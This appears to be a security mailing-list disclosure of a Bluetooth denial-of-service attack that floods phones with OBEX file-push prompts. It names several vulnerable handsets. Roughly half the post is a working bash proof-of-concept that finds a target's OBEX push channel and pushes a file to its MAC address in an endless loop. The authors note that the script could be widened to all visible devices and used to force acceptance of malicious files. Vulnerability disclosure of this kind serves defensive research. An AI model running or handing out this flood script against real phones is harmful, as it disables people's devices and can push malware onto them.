Re: Bluetooth DoS by obex push [readable]

[hornung () cs washington edu]

Sorry for the trouble with the wrong characters, below the corrected text with attachment in plain text:

Using ussp-push [1], it is possible to send out files very quickly. By continuously trying to push a file, the target 
is flooded with prompts whether to accept the file or not, which disables any other usage on the phone, including the 
ability to turn off Bluetooth.
We confirmed the attack to work on the following phones (all tested ones!):

- Sony Ericsson K700i
- Nokia N70
- Motorola MOTORAZR V3
- Sony Ericsson W810i
- LG Chocolate KG800

and expect nearly all available phones with Bluetooth to be vulnerable (in contrary to the previous DoS by l2ping).

A proof-of-concept code is attached, using ussp-push and targeting a known MAC. This could be easily extended to target 
all visible devices.
Plus, a user could be forced to accept a possibly malicious file with this attack. Using only one Bluetooth-Dongle, we 
were able to practically disable three phones simlutaneously.

Best regards,
Stefan Ekerfelt and Armin Hornung

[1] http://www.xmailserver.org/ussp-push.html

Proof-of-concept code:
------------------------------

#!/bin/bash

checkOPUSH()
{
MAC=$1
OCHAN=$(sdptool search --bdaddr $MAC OPUSH | grep Channel:)
if test "$OCHAN" != ""
then
OCHAN=$(echo $OCHAN | awk '/Channel:/ { print $2 }')
return $OCHAN
fi
return 0
}

if test $# -ne 2
then
echo "Usage: $0 <bdaddr> <filename>"
exit 127
fi

MAC=$1
FILENAME=$2

checkOPUSH $1
OCHAN=$?

if test $OCHAN -eq 0
then
echo "Couldn't connect to $MAC via OBEX push."
exit 127
fi

while true
do
./ussp-push $MAC@$OCHAN $FILENAME $FILENAME
done